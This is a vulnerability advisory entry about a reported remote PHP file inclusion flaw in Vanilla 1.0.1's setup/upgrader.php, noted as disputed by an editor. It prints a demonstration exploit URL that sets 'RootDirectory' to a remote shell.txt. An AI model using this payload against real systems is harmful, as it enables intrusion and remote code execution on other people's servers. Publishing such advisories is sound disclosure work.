Impact: Execution of arbitrary code via network, User access via network

Exploit Included: Yes
|
Version(s): 1.0.1

Description: A vulnerability was reported in Vanilla. A remote user can include and execute arbitrary code on the target system.
The 'setup/upgrader.php' script does not properly validate user-supplied input in the 'RootDirectory' parameter. A remote user can
supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The
PHP code, including operating system commands, will run with the privileges of the target web service.
A demonstration exploit
URL is provided (works if '/conf/old_settings.php' exists):
http://[target]/[path]/setup/upgrader.php?RootDirectory=http://site/shell.txt?
MFox
from Iran HackerZ Security Team reported this vulnerability.
[Editor's note: This vulnerability has been disputed by several
third parties. Inspection of the source code indicates that the 'RootDirectory' parameter is set to a local directory before being
used in an include statement.]
|
Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution: No solution was available at the time of this entry.
